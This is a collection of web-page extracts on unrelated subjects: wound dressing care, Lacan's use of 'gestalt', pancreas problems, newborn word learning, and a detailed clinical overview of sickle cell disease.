dressing, it is essential to wash hands thoroughly with soap and water or use an alcohol-based hand sanitizer. Gather all necessary supplies including gloves, new dressings, saline solution for cleaning, and waste disposal bags. - Removing the Old Dressing: Carefully loosen any tape securing the old dressing without pulling on the skin. If it sticks to the wound, moisten it with saline before removal to avoid tearing. - Cleaning the Wound: After removing the old dressing, clean around the incision using saline solution or mild soapy water. Avoid using harsh chemicals like alcohol or hydrogen peroxide as they can damage healing tissue. - Applying a New Dressing: Once cleaned and dried, apply a new sterile dressing over the wound according to healthcare provider instructions. Ensure that it covers all edges securely but does not adhere directly to any sutures or staples if present. - Disposal of Materials: Dispose of old dressings and any used materials in a waterproof plastic bag to prevent contamination. When to Change Dressings The frequency of changing dressings will depend on specific instructions from healthcare providers but generally should be done: - When they become wet or soiled. - At regular intervals recommended by your surgeon (daily or every few days). - If there are signs of infection (increased redness, swelling, warmth). Signs of Infection It is vital for patients to monitor their surgical site for signs of infection which include: - Increased redness or swelling. - Drainage that becomes thick, yellowish-green, or foul-smelling. - Fever above 100°F (37.7°C). If any signs are observed, contacting a healthcare provider promptly is crucial for timely intervention. In summary, proper care and management of surgical wound dressings play an essential role in recovery post-surgery by minimizing risks associated with infections and promoting effective healing processes. Functions of a Dressing Dressings serve multiple functions: - Protecting the wound from infection. - Absorbing exudate while maintaining a moist environment conducive to healing. - Providing thermal insulation. - Facilitating autolytic debridement by keeping necrotic tissue moist. - Reducing pain through cushioning effects. Definitions and Management of Clean, Contaminated, and Infected Wounds (a) Clean Wound A clean wound is defined as a wound that is not infected and has minimal risk of infection. These wounds typically occur in sterile environments, such as surgical incisions made under aseptic conditions. Clean wounds do not involve the respiratory, gastrointestinal, or genitourinary tracts. Management of Clean Wounds: - Assessment: Evaluate the wound for size, depth, and any foreign bodies. - Cleansing: Gently cleanse the wound with saline or an antiseptic solution to remove debris. - Dressing: Apply a sterile dressing to protect the wound from contamination. - Monitoring: Observe for signs of infection over time; change dressings regularly based on the type of dressing used and clinical judgment. - Tetanus Prophylaxis: Ensure that tetanus vaccinations are up to date if necessary. (b) Contaminated Wound A contaminated wound is one that has been exposed to bacteria or other pathogens but does not show signs of infection at the time of assessment. This can occur due to trauma, surgical procedures in non-sterile environments, or exposure to dirt or bodily fluids. Management of Contaminated Wounds: - Assessment: Identify the source of contamination and assess the extent of tissue damage. - Cleansing: Thoroughly irrigate the wound with saline or an appropriate antiseptic solution to remove contaminants. - Debridement: If necessary, perform debridement to remove devitalized tissue and foreign materials. - Dressing: Use a sterile dressing that allows for moisture control while protecting against further contamination. - Antibiotics: Consider prophylactic antibiotics based on the level of contamination and patient risk factors (e.g., immunocompromised status). - Monitoring: Regularly check for signs of infection (redness, swelling, increased pain) and adjust treatment accordingly. (c) Infected Wound An infected wound is characterized by the presence of pathogenic microorganisms leading to inflammation and other systemic symptoms such as fever or pus formation. Signs include redness, warmth, swelling, pain at the site, and possibly systemic symptoms. Management of Infected Wounds: - Assessment: Conduct a thorough evaluation including history taking and physical examination to determine the extent of infection. - Cleansing & Debridement: Cleanse the wound gently but thoroughly; debridement may be necessary to remove necrotic tissue. - Culture & Sensitivity Testing: Obtain samples for microbiological culture if there is significant purulence or if systemic infection is suspected. - Antibiotic Therapy: Initiate appropriate antibiotic therapy based on culture results or empirical treatment guidelines considering local resistance patterns. - Wound Dressing Changes: Change dressings frequently using techniques that minimize further contamination; consider advanced dressings like hydrocolloids or alginates depending on exudate levels. - Surgical Intervention: In cases where abscess formation occurs or there is extensive necrosis, surgical intervention may be required for drainage and further management. The management strategies outlined above are crucial in preventing complications associated with each type of wound.

https://www.myschoolexams.com.ng/2024/09/10/a-comprehensive-guide-to-wound-healing-and-its-disorders/

Education

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German: Gestalt | Gestalt is a German word meaning an organized pattern or whole which has properties other than those of its components in isolation. The experimental study of gestalts began in 1910 with the study of certain phenomena of perception, and led to a school of thought known as "gestalt psychology" which was based on a holistic concept of mind and body and which stressed the psychological importance of body presentation. These ideas formed the basis of Gestalt therapy as developed by Paul Goodman, Fritz Perls and Ralph Hefferline. When Lacan refers to the gestalt, he refers specifically to one kind of oganized pattern, namely the visual image of another member of the same species, which is perceived as a unified whole. Such an image is a gestalt because it has an effect which none of its component parts have in isolation; this effect is to act as a "releasing mechanism" (French: déclencheur) which triggers certain instinctual responses, such as reproductive behavior. In other words, when an animal perceives a unified image of another member of its species, it responds in certan instinctual ways. Lacan gives many examples from ethology of such instinctual responses to images, but his main interest is in the way the gestalt functions in human beings. For humans the body image is also a gestalt which produces instinctual responses, especially sexual ones, but the power of the image is also more than merely instinctual; it constitutes the essential captivating power of the specular image (see captation). It is by identifying with the unified gestalt of the body image that the ego is constantly threatened by fears of disintegration, which manifest themselves in images of the fragmented body; these images represent the opposite of the unified gestalt of the body image.

http://nosubject.com/Gestalt

Religion

en

WHAT IS A PANCREAS AND WHERE DOES IT RESIDE WITHIN THE BODY? A long, flat gland called the pancreas is located in the upper belly, hidden below the stomach. It measures around 6 inches in length, and its head is located on the right side of the belly, where the small intestine is connected. The production of enzymes that aid in food digestion is the pancreas gland's primary duty. Additionally, it creates specific hormones needed to create the insulin cells the body needs to metabolize glucose and sugar. The body obtains all of its nutrients from the food that has been broken down by the digestive system, so improper pancreatic function can result in a number of disorders. Once this mechanism is disrupted, we are more susceptible to several diseases. effects of a pancreas problem A problem with the pancreas arises when it produces digestive enzymes but is unable to release them into the body. The pancreas itself becomes clogged with these enzymes, which irritate the cells. Pancreatic inflammation is an additional consequence of this. Type 1 and type 2 diabetes, cystic fibrosis, pancreatic cancer, pancreatic pseudocyst, islet cell tumor, enlarged pancreas, and other conditions can be brought on by the negative effects of pancreatitis or pancreas problems. Type 1 and type 2 diabetes are brought on by a malfunction in the pancreas' ability to produce insulin cells. The body's many organs are affected by the genetic condition known as cystic fibrosis. The pancreas and lungs are particularly impacted. There are numerous cells in the pancreas that could rapidly turn into tumors. The pancreatic duct is where tumor cells are most frequently seen to develop. SIGNS OF PANCREAS PROBLEMS Extreme abdominal pain When pancreatitis is severe, abdominal pain can go from being acute and not very significant to being excruciating. When there are pancreas difficulties, discomfort is typically felt in the upper abdomen. Applying a heating pad to the painful area for 15 to 20 minutes will provide relief right away. You might also try resting on your side rather than flat to make digestion simpler. Unexpected loss of weight Losing weight quickly is a common symptom of chronic pancreatitis. Your body continues to lose weight even when you have a typical and nutritious diet. This is due to a lack of pancreatic enzyme production by the body, which makes it difficult to digest food. Once the food has not been digested, the body receives no nourishment, which results in malnutrition or unexplained weight loss. ALSO READ: What CausesLow Blood Sugar without Diabetes According to experts, cardiovascular disorders and pancreatic ailments are related. An individual's risk of developing pancreas problems can be increased by ischemic heart disease and hypertension. Patients with pancreas issues, therefore, appear to have faster heartbeats. 4. A painful and swollen abdomen If they have severe pancreatitis or any other pancreas issues, some people could suffer from a bloated and sore abdomen. Each individual experiences different symptoms. Bloating of the abdomen is a possibility in this situation. Due to digestive issues, the intestinal contents are not moving, which causes swelling. When you touch your abdomen, you feel tenderness. In some cases, it can also result in peripancreatic fluid accumulation and pseudocyst formation. Sudden Chronic pancreatic inflammation might result in fever. Diarrhea and Vomiting As indigestion and a lack of pancreatic enzyme production are the main causes of pancreas issues, nausea, and vomiting are frequent signs Odorous and oily stools Constipation and diarrhea are common symptoms of pancreatitis. Thus, loose stools result. It occasionally has an oily or sour scent. The lack of digestive enzymes in the intestines is the cause of this. of pancreatic problems - medications may aggravate the pancreas - High blood triglyceride levels - Gastrointestinal infections - Metabolic diseases resemble diabetes - Genetic diseases resembling cystic fibrosis - Abdominal injury - Pancreas issues can also be brought on by high blood calcium levels. - Obese people are also more likely to have pancreatic disorders. - Pancreatic illnesses are heavily influenced by genetics as well. - Higher risks of developing the condition exist in people with a family history of pancreatitis. have a pancreatic problem, who should you see? First, speak with your family doctor or regular physician, if you see them frequently, and let them know what is bothering you. A gastroenterologist will be recommended once you have explained your symptoms and sickness to the doctor. Treatment of pancreatic issues is the domain of a gastroenterologist. You can find a nearby specialist by searching for Gastroenterologists near me if you don't have a specific family doctor and need to see one right away. Before visiting the doctor, you can schedule an appointment over the phone. If you wish to consult a particular doctor who is located distant from your house, you can also choose to do it online. What are the main pancreas problem treatments? For various stages of the infection, distinct pancreas problems require different treatments. The doctors may recommend a bowel rest in moderate cases when there are fewer difficulties. During this time, you won't be allowed to eat or drink by mouth and your intestines will rest for a few days. Usually, fluids are given intravenously. When the obstruction in the pancreatic duct is severe, doctors treat it with Endoscopic Cholangiopancreatography (ERCP), which combines upper gastrointestinal endoscopy and x-rays. ERCP is used to remove the gallstones that are causing the A small pancreas problem can develop into a serious condition if ignored. Kidney failure, difficulty breathing, starvation, and diabetes are further side effects of pancreatic illnesses. Few people experience it fast, but for many, it persists over time. If you have a history of pancreatitis in your family, it is best to minimize risk factors including drinking and smoking. To grow healthy intestines, try eating a balanced diet and practicing yoga and meditation. You may stay away from such issues by eating a balanced diet and exercising frequently. living a healthy lifestyle as much as you can. By keeping in mind the advice we've provided, strive to become the healthiest and fittest version of yourself. We assess your general health in an accurate and timely manner. Corporate executives create a variety of educational materials on numerous topics relating to health. We carefully supported your education, and as a result, you are now enjoying the richest life possible. Recent research, suggestions, and recommendations for restful sleep are all easily accessible. IN THE "COMMENTS" SECTION BELOW, KINDLY SHARE ANY PECULIAR EXPERIENCES YOU MAY HAVE HAD. - Where is the pancreas located in the female body? - How to test for pancreatitis at home - Pancreatitis treatment at home - Pancreatitis pain relief position - How to relieve pancreatitis pain - Pancreatitis when to worry Post a Comment

https://www.healthlifekit.com/2023/06/7-symptoms-of-pancreas-problems-and.html

Health

en

Newborn babies have an inbuilt ability to pick out words at just three days old, a study by researchers in Britain, France and Italy revealed on Tuesday. The study, funded by the European Research Council, is a collaboration between scientists at the International School for Advanced Studies (SISSA) in Italy, the Neurospin Centre in France, the University of Liverpool and The University of Manchester. The international team of researchers discovered two mechanisms in three-day-old infants, which give them the skills to pick out words in a stream of sounds. They played to the infants a three and a half minute audio clip in which four meaningless words were buried in a stream of syllables. Using a painless technique called Near-Infrared Spectroscopy which shines light into the brain; they were able to measure how much was absorbed, telling them which parts of the brain were active. Dr Alissa Ferry from University of Manchester, said: “The discovery provides key insight into the first step to learning the language.” She explained that one of the mechanisms discovered by the team was known as prosody, the melody of language, which allowed humans to recognise when a word start and stop. Other researchers called the statistics of language as for how people compute the frequency when sounds in a word come together, saying “we think this study highlights how sentient newborn babies really are and how much the information they are absorbing. “That’s quite important for new parents and gives them some insight into how their baby is listening to them.” Dr Ana Flò of Neurospin said: “language is incredibly complicated and this study is about understanding how infants try to make sense of it when they first hear it. “We often think of language as being made up of words, but words often blur together when we talk. “So, one of the first steps to learn a language is to pick out the words. “Our study shows that at just three days old, without understanding what it means, babies can pick out individual words from speech. “And we have identified two important tools that we are almost certainly born with, that gives them the ability to do this.” Dr Perrine Brusini of University of Liverpool said: “we had the infants listen to individual words and found that their brains responded differently to the words that they heard than to slightly different words. “This shows that even from birth, infants can pick out individual words from the language.”

https://www.thegeniusmedia.com.ng/2019/01/29/odd-but-real-babies-learn-words-from-three-3-days-old-study-reveals/

Family

en

Sickle cell disease (SCD) and its variants are genetic disorders resulting from the presence of a mutated form of hemoglobin, hemoglobin S (HbS) [1, 2] (see the image below). The most common form of SCD found in North America is homozygous HbS disease (HbSS), an autosomal recessive disorder first described by Herrick in 1910. SCD causes significant morbidity and mortality, particularly in people of African and Mediterranean ancestry (see Pathophysiology). Morbidity, frequency of crisis, degree of anemia, and the organ systems involved vary considerably from individual to individual. Signs and symptoms Screening for HbS at birth is currently mandatory in the United States. For the first 6 months of life, infants are protected largely by elevated levels of fetal hemoglobin (Hb F). SCD usually manifests early in childhood, in the following ways: Acute and chronic pain: The most common clinical manifestation of SCD is vaso-occlusive crisis; pain crises are the most distinguishing clinical feature of SCD Bone pain: Often seen in long bones of extremities, primarily due to bone marrow infarction Anemia: Universally present, chronic, and hemolytic in nature Aplastic crisis: Serious complication due to infection with parvovirus B19 (B19V) Splenic sequestration: Characterized by the onset of life-threatening anemia with rapid enlargement of the spleen and high reticulocyte count Infection: Organisms that pose the greatest danger include encapsulated respiratory bacteria, particularly Streptococcus pneumoniae; adult infections are predominantly with gram-negative organisms, especially Salmonella Growth retardation, delayed sexual maturation, being underweight Hand-foot syndrome: This is a dactylitis presenting as bilateral painful and swollen hands and/or feet in children Acute chest syndrome: Young children present with chest pain, fever, cough, tachypnea, leukocytosis, and pulmonary infiltrates in the upper lobes; adults are usually afebrile, dyspneic with severe chest pain, with multilobar/lower lobe disease Pulmonary hypertension: Increasingly recognized as a serious complication of SCD Avascular necrosis of the femoral or humeral head: Due to vascular occlusion Central nervous system (CNS) involvement: Most severe manifestation is stroke Ophthalmologic involvement: Ptosis, retinal vascular changes, proliferative retinitis Cardiac involvement: Dilation of both ventricles and the left atrium Gastrointestinal involvement: Cholelithiasis is common in children; liver may become involved Genitourinary involvement: Kidneys lose concentrating capacity; priapism is a well-recognized complication of SCD Dermatologic involvement: Leg ulcers are a chronic painful problem Approximately half the individuals with homozygous HbS disease experience vaso-occlusive crises. The frequency of crises is extremely variable. Some individuals have as many as 6 or more episodes annually, whereas others may have episodes only at great intervals or none at all. Each individual typically has a consistent pattern for crisis frequency. Triggers of vaso-occlusive crisis include the following: Hypoxemia: May be due to acute chest syndrome or respiratory complications Dehydration: Acidosis results in a shift of the oxygen dissociation curve Changes in body temperature (eg, an increase due to fever or a decrease due to environmental temperature change) Many individuals with HbSS experience chronic low-level pain, mainly in bones and joints. Intermittent vaso-occlusive crises may be superimposed, or chronic low-level pain may be the only expression of the disease. See Presentation for more detail. SCD is suggested by the typical clinical picture of chronic hemolytic anemia and vaso-occlusive crisis. Electrophoresis confirms the diagnosis with the presence of homozygous HbS and can also document other hemoglobinopathies (eg, HbSC, HbS-beta+ thalassemia). Laboratory tests used in patients with SCD include the following: Mandatory screening for HbS at birth in the United States; prenatal testing can be obtained via chorionic villus sampling CBC count with differential and reticulocyte count Hemoglobin solubility testing Peripheral blood smear Pulmonary function tests (transcutaneous O 2 saturation) Kidney function (creatinine, BUN, urinalysis) Hepatobiliary function tests, (ALT, fractionated bilirubin) CSF examination: Consider LP in febrile children who appear toxic and in those with neurologic findings (eg, neck stiffness, positive Brudzinski/Kernig signs, focal deficits); consider CT scanning before performing lumbar puncture Secretory phospholipase A2 (sPLA2) In one study of 38 asymptomatic children with SCD, investigators found that hypertension and abnormal blood pressure patterns were prevalent in children with SCD. They suggested using 24-hour ambulatory blood pressure monitoring (ABPM) to identify these conditions in young patients. In the study, 17 patients (43.6%) had ambulatory hypertension, whereas 4 (10.3%) had hypertension on the basis of their clinic blood pressure. Twenty-three patients (59%) had impaired systolic blood pressure dipping, 7 (18%) had impaired diastolic blood pressure dipping, and 5 (13%) had reversed dipping. Imaging studies that aid in the diagnosis of sickle cell anemia in patients in whom the disease is suggested clinically include the following: Radiography: Chest x-rays should be performed in patients with respiratory symptoms MRI: Useful for early detection of bone marrow changes due to acute and chronic bone marrow infarction, marrow hyperplasia, osteomyelitis, and osteonecrosis CT scanning: May demonstrate subtle regions of osteonecrosis not apparent on plain radiographs in patients who are unable to have an MRI and to exclude renal medullary carcinoma in patients presenting with hematuria Nuclear medicine scanning: 99mTc bone scanning detects early stages of osteonecrosis; 111In WBC scanning is used for diagnosing osteomyelitis Transcranial Doppler ultrasonography: Can identify children with SCD at high risk for stroke Abdominal ultrasonography: May be used to rule out cholecystitis, cholelithiasis, or an ectopic pregnancy and to measure spleen and liver size Echocardiography: Identifies patients with pulmonary hypertension Transcranial near-infrared spectroscopy or cerebral oximetry: Can be used as a screening tool for low cerebral venous oxygen saturation in children with SCD See Workup for more detail. The goals of treatment in SCD are symptom control and management of disease complications. Treatment strategies include the following 7 goals: Management of vaso-occlusive crisis Management of chronic pain syndromes Management of chronic hemolytic anemia Prevention and treatment of infections Management of the complications and the various organ damage syndromes associated with the disease Prevention of stroke Detection and treatment of pulmonary hypertension SCD may be treated with the following medications: Hemoglobin oxygen-affinity modulators (eg, voxelotor) P-selectin inhibitors (eg, crizanlizumab) Gene-editing biologics (ie, exagamglogene autotemcel, lovotibeglogene autotemcel) Opioid analgesics (eg, oxycodone/aspirin, methadone, morphine sulfate, oxycodone/acetaminophen, fentanyl, nalbuphine, codeine, acetaminophen/codeine) Nonsteroidal analgesics (eg, ketorolac, aspirin, acetaminophen, ibuprofen) Tricyclic antidepressants (eg, amitriptyline) Antibiotics (eg, cefuroxime, amoxicillin/clavulanate, penicillin VK, ceftriaxone, azithromycin, cefaclor) Vaccines (eg, pneumococcal, meningococcal, influenza, and recommended scheduled childhood/adult vaccinations) Endothelin-1 receptor antagonists (eg, bosentan) Phosphodiesterase inhibitors (eg, sildenafil, tadalafil) Vitamins (eg, folic acid) Antiemetics (eg, promethazine) Other approaches to managing SCD include the following: Stem cell transplantation: Can be curative Transfusions: For sudden, severe anemia due to acute splenic sequestration, parvovirus B19 infection, or hyperhemolytic crises Heat and cold application Acupuncture and acupressure Transcutaneous electric nerve stimulation (TENS) Combination pharmacotherapy and non-pharmacotherapy Vigorous hydration (plus analgesics): For vaso-occlusive crisis Oxygen, antibiotics, analgesics, incentive spirometry, simple transfusion, and bronchodilators: For treatment of acute chest syndrome See Treatment and Medication for more detail. Carriers of the sickle cell trait (ie, heterozygotes who carry one HbS allele and one normal adult hemoglobin [HbA] allele) have some resistance to the often-fatal malaria caused by Plasmodium falciparum. This property explains the distribution and persistence of this gene in the population in malaria-endemic areas. [5, 6, 7] However, in areas such as the United States, where malaria is not a problem, the trait no longer provides a survival advantage. Instead, it poses the threat of SCD, which occurs in children of carriers who inherit the sickle cell gene from both parents (ie, HbSS). Although carriers of sickle cell trait do not suffer from SCD, individuals with one copy of HbS and one copy of a gene that codes for another abnormal variant of hemoglobin, such as HbC or Hb beta-thalassemia, have a less severe form of the disease. SCD denotes all genotypes containing at least one sickle gene, in which HbS makes up at least half the hemoglobin present. Major sickle genotypes described so far include the following: HbSS disease or sickle cell anemia (the most common form) - Homozygote for the S globin with usually a severe or moderately severe phenotype and with the shortest survival HbS/b-0 thalassemia - Double heterozygote for HbS and b-0 thalassemia; clinically indistinguishable from sickle cell anemia (SCA) HbS/b+ thalassemia - Mild-to-moderate severity with variability in different ethnicities HbSC disease - Double heterozygote for HbS and HbC characterized by moderate clinical severity HbS/hereditary persistence of fetal Hb (S/HPHP) - Very mild or asymptomatic phenotype HbS/HbE syndrome - Very rare with a phenotype usually similar to HbS/b+ thalassemia Rare combinations of HbS with other abnormal hemoglobins such as HbD Los Angeles, G-Philadelphia, HbO Arab, and others Sickle cell trait or the carrier state is the heterozygous form characterized by the presence of around 40% HbS, absence of anemia, inability to concentrate urine (isosthenuria), and hematuria. Under conditions leading to hypoxia, it may become a pathologic risk factor. SCD is the most severe and most common form. Affected individuals present with a wide range of clinical problems that result from vascular obstruction and ischemia. Although the disease can be diagnosed at birth, clinical abnormalities usually do not occur before age 6 months, when functional asplenia develops. Functional asplenia results in susceptibility to overwhelming infection with encapsulated bacteria. Subsequently, other organs are damaged. Typical manifestations include recurrent pain and progressive incremental infarction. Newborn screening for sickle hemoglobinopathies is mandated in 50 states. Therefore, most patients presenting to the ED have a known diagnosis. HbS arises from a mutation substituting thymine for adenine in the sixth codon of the beta-chain gene, GAG to GTG. This causes coding of valine instead of glutamate in position 6 of the Hb beta chain. The resulting Hb has the physical properties of forming polymers under deoxy conditions. It also exhibits changes in solubility and molecular stability. These properties are responsible for the profound clinical expressions of the sickling syndromes. Under deoxy conditions, HbS undergoes marked decrease in solubility, increased viscosity, and polymer formation at concentrations exceeding 30 g/dL. It forms a gel-like substance containing Hb crystals called tactoids. The gel-like form of Hb is in equilibrium with its liquid-soluble form. A number of factors influence this equilibrium, including oxygen tension, concentration of Hb S, and the presence of other hemoglobins. Oxygen tension is a factor in that polymer formation occurs only in the deoxy state. If oxygen is present, the liquid state prevails. Concentration of Hb S is a factor in that gelation of HbS occurs at concentrations greater than 20.8 g/dL (the normal cellular Hb concentration is 30 g/dL). The presence of other hemoglobins is a factor in that normal adult hemoglobin (HbA) and fetal hemoglobin (HbF) have an inhibitory effect on gelation. These and other Hb interactions affect the severity of clinical syndromes. HbSS produces a more severe disease than sickle cell HbC (HbSC), HbSD, HbSO Arab, and Hb with one normal and one sickle allele (HbSA). When red blood cells (RBCs) containing homozygous HbS are exposed to deoxy conditions, the sickling process begins. A slow and gradual polymer formation ensues. Electron microscopy reveals a parallel array of filaments. Repeated and prolonged sickling involves the membrane; the RBC assumes the characteristic sickled shape. (See image below.) After recurrent episodes of sickling, membrane damage occurs and the cells are no longer capable of resuming the biconcave shape upon reoxygenation. Thus, they become irreversibly sickled cells (ISCs). From 5-50% of RBCs permanently remain in the sickled shape. When RBCs sickle, they gain Na+ and lose K+. Membrane permeability to Ca++ increases, possibly due, in part, to impairment in the Ca++ pump that depends on adenosine triphosphatase (ATPase). The intracellular Ca++ concentration rises to 4 times the reference level. The membrane becomes more rigid, possibly due to changes in cytoskeletal protein interactions; however, these changes are not found consistently. In addition, whether calcium is responsible for membrane rigidity is not clear. Membrane vesicle formation occurs, and the lipid bilayer is perturbed. The outer leaflet has increased amounts of phosphatidyl ethanolamine and contains phosphatidylserine. The latter may play a role as a contributor to thrombosis, acting as a catalyst for plasma clotting factors. Membrane rigidity can be reversed in vitro by replacing HbS with HbA, suggesting that HbS interacts with the cell membrane. Interactions with vascular endothelium Complex multifactorial mechanisms involving endothelial dysfunction underlie the acute and chronic manifestations of SCD. A current model proposes that vaso-occlusive crises in SCD result from adhesive interactions of sickle cell RBCs and leukocytes with the endothelium. In this model, the endothelium becomes activated by sickle cell RBCs, either directly, through adhesion molecules on the RBC surface, or indirectly through plasma proteins (eg, thrombospondin, von Willebrand factor) that act as a soluble bridge molecule. This leads, sequentiallly, to recruitment of adherent leukocytes, activation of recruited neutrophils and of other leukocytes (eg, monocytes or natural killer T cells), interactions of RBCs with adherent neutrophils, and clogging of the vessel by cell aggregates composed of RBCs, adherent leukocytes, and possibly platelets. Sickle cells express very late antigen–4 (VLA-4) on the surface. VLA-4 interacts with the endothelial cell adhesive molecule, vascular cell adhesive molecule–1 (VCAM-1). VCAM-1 is upregulated by hypoxia and inhibited by nitric oxide. Hypoxia also decreases nitric oxide production, thereby adding to the adhesion of sickle cells to the vascular endothelium. Nitric oxide is a vasodilator. Free Hb is an avid scavenger of nitric oxide. Because of the continuing active hemolysis, there is free Hb in the plasma, and it scavenges nitric oxide, thus contributing to vasoconstriction. In addition to leukocyte recruitment, inflammatory activation of endothelium may have an indispensable role in enhanced sickle RBC–endothelium interactions. Sickle RBC adhesion in postcapillary venules can cause increased microvascular transit times and initiate vaso-occlusion. Several studies have shown involvement of an array of adhesion molecules expressed on sickle RBCs, including CD36, a-4-ß-1 integrin, intercellular cell adhesion molecule–4 (ICAM-4), and basal cell adhesion molecule (B-CAM). Adhesion molecules (ie, P-selectin, VCAM-1, a-V-ß-3 integrin) are also expressed on activated endothelium. Finally, plasma factors and adhesive proteins (ie, thrombospondin [TSP], von Willebrand factor [vWf], laminin) play an important role in this interaction. For example, the induction of VCAM-1 and P-selectin on activated endothelium is known to enhance sickle RBC interactions. In addition, a-V-ß-3 integrin is upregulated in activated endothelium in patients with sickle cell disease. a-V-ß-3 integrin binds to several adhesive proteins (TSP, vWf, red-cell ICAM-4, and, possibly, soluble laminin) involved in sickle RBC adhesion, and antibodies to this integrin dramatically inhibit sickle RBC adhesion. In addition, under inflammatory conditions, increased leukocyte recruitment in combination with adhesion of sickle RBCs may further contribute to stasis. Sickle RBCs adhere to endothelium because of increased stickiness. The endothelium participates in this process, as do neutrophils, which also express increased levels of adhesive molecules. Deformable sickle cells express CD18 and adhere abnormally to endothelium up to 10 times more than normal cells, while ISCs do not. As paradoxical as it might seem, individuals who produce large numbers of ISCs have fewer vaso-occlusive crises than those with more deformable RBCs. Other properties of sickle cells Sickle RBCs also adhere to macrophages. This property may contribute to erythrophagocytosis and the hemolytic process. The microvascular perfusion at the level of the pre-arterioles is influenced by RBCs containing Hb S polymers. This occurs at arterial oxygen saturation, before any morphologic change is apparent. Hemolysis is a constant finding in sickle cell syndromes. Approximately one third of RBCs undergo intravascular hemolysis, possibly due to loss of membrane filaments during oxygenation and deoxygenation. The remainder hemolyze by erythrophagocytosis by macrophages. This process can be partially modified by Fc (crystallizable fragment) blockade, suggesting that the process can be mediated by immune mechanisms. Sickle RBCs have increased immunoglobulin G (IgG) on the cell surface. Vaso-occlusive crisis is often triggered by infection. levels of fibrinogen, fibronectin, and D-dimer are elevated in these patients. Plasma clotting factors likely participate in the microthrombi in the pre-arterioles. Development of clinical disease Although hematologic changes indicative of SCD are evident as early as the age of 10 weeks, symptoms usually do not develop until the age of 6-12 months because of high levels of circulating fetal hemoglobin. After infancy, erythrocytes of patients with sickle cell anemia contain approximately 90% hemoglobin S (HbS), 2-10% hemoglobin F (HbF), and a normal amount of minor fraction of adult hemoglobin (HbA2). Adult hemoglobin (HbA), which usually gains prominence at the age of 3 months, is absent. The physiological changes in RBCs result in a disease with the following cardinal signs: - Hemolytic anemia - Painful vaso-occlusive crisis - Multiple organ damage from microinfarcts, including heart, skeleton, spleen, and central nervous system Silent cerebral infarcts are associated with cognitive impairment in SCD. These infarcts tend to be located in the deep white matter where cerebral blood flow is low. However, cognitive impairment, particularly slower processing speed, may occur independent of the presence of infarction and may worsen with age. The skeletal manifestations of sickle cell disease result from changes in bone and bone marrow caused by chronic tissue hypoxia, which is exacerbated by episodic occlusion of the microcirculation by the abnormal sickle cells. The main processes that lead to bone and joint destruction in sickle cell disease are as follows: Infarction of bone and bone marrow Compensatory bone marrow hyperplasia Secondary growth defects When the rigid erythrocytes jam in the arterial and venous sinusoids of skeletal tissue, the result is intravascular thrombosis, which leads to infarction of bone and bone marrow. Repeated episodes of these crises eventually lead to irreversible bone infarcts and osteonecrosis, especially in weight-bearing areas. These areas of osteonecrosis (avascular necrosis/aseptic necrosis) become radiographically visible as sclerosis of bone with secondary reparative reaction and eventually result in degenerative bone and joint destruction. Infarction tends to occur in the diaphyses of small tubular bones in children and in the metaphyses and subchondrium of long bones in adults. Because of the anatomic distribution of the blood vessels supplying the vertebrae, infarction affecting the central part of the vertebrae (fed by a spinal artery branch) results in the characteristic H vertebrae of sickle cell disease. The outer portions of the plates are spared because of the numerous apophyseal arteries. Osteonecrosis of the epiphysis of the femoral head is often bilateral and eventually progresses to collapse of the femoral heads. This same phenomenon is also seen in the humeral head, distal femur, and tibial condyles. Infarction of bone and bone marrow in patients with sickle cell disease can lead to the following changes (see images below): Osteolysis (in acute infarction) Osteonecrosis (avascular necrosis/aseptic necrosis) Periosteal reaction (unusual in the adult) H vertebrae (steplike endplate depression; also known as the Reynold sign or codfish vertebrae) Dystrophic medullary calcification Skeletal sickle cell anemia. H vertebrae. Lateral view of the spine shows angular depression of the central portion of each upper and lower endplate. The shortened survival time of the erythrocytes in sickle cell anemia (10-20 days) leads to a compensatory marrow hyperplasia throughout the skeleton. The bone marrow hyperplasia has the resultant effect of weakening the skeletal tissue by widening the medullary cavities, replacing trabecular bone and thinning cortices. Deossification due to marrow hyperplasia can bring about the following changes in bone: Decreased density of the skull Decreased thickness of outer tble of skull due to widening of diploe Hair on-end striations of the calvaria Osteoporosis sometimes leading to biconcave vertebrae, coarsening of trabeculae in long and flat bones, and pathologic fractures Patients with sickle cell disease can have a variety of growth defects due to the abnormal maturation of bone. The following growth defects are often seen in sickle cell disease: Bone shortening (premature epiphyseal fusion) Epiphyseal deformity with cupped metaphysis Peg-in-hole defect of distal femur Decreased height of vertebrae (short stature and kyphoscoliosis) Go to Skeletal Sickle Cell Anemia for complete information on this topic. SCD can result in significant skeletal muscle remodeling and reduced muscle functional capacities, which contribute to exercise intolerance and poor quality of life. In addition, changes in muscle and joints can result in altered posture and impaired balance control. Renal manifestations of SCD range from various functional abnormalities to gross anatomic alterations of the kidneys. See Renal Manifestations of Sickle Cell Disease for more information on this topic. The spleen enlarges in the latter part of the first year of life in children with SCD. Occasionally, the spleen undergoes a sudden very painful enlargement due to pooling of large numbers of sickled cells. This phenomenon is known as splenic sequestration crisis. The spleen undergoes repeated infarction, aided by low pH and low oxygen tension in the sinusoids and splenic cords. Despite being enlarged, its function is impaired, as evidenced by its failure to take up technetium during nuclear scanning. Over time, the spleen becomes fibrotic and shrinks. This is, in fact, an autosplenectomy. The nonfunctional spleen is a major contributor to the immune deficiency that exists in these individuals. Failure of opsonization and an inability to deal with infective encapsulated microorganisms, particularly Streptococcus pneumoniae, ensue, leading to an increased risk of sepsis in the future. Chronic hemolytic anemia SCD is a form of hemolytic anemia, with red cell survival of around 10-20 days. Approximately one third of the hemolysis occurs intravascularly, releasing free hemoglobin (plasma free hemoglobin [PFH]) and arginase into plasma. PFH has been associated with endothelial injury including scavenging nitric oxide (NO), proinflammatory stress, and coagulopathy, resulting in vasomotor instability and proliferative vasculopathy. A hallmark of this proliferative vasculopathy is the development of pulmonary hypertension in adulthood. Plasma arginase degrades arginine, the substrate for NO synthesis, thereby limiting the expected compensatory increase in NO production and resulting in generation of oxygen radicals. Plasma arginase is also associated with pulmonary hypertension and risk of early mortality. Life-threatening bacterial infections are a major cause of morbidity and mortality in patients with SCD. Recurrent vaso-occlusion induces splenic infarctions and consequent autosplenectomy, predisposing to severe infections with encapsulated organisms (eg, Haemophilus influenzae, Streptococcus pneumoniae). Lower serum immunoglobulin M (IgM) levels, impaired opsonization, and sluggish alternative complement pathway activation further increase susceptibility to other common infectious agents, including Mycoplasma pneumoniae, Salmonella typhimurium, Staphylococcus aureus, and Escherichia coli. Common infections include pneumonia, bronchitis, cholecystitis, pyelonephritis, cystitis, osteomyelitis, meningitis, and sepsis. 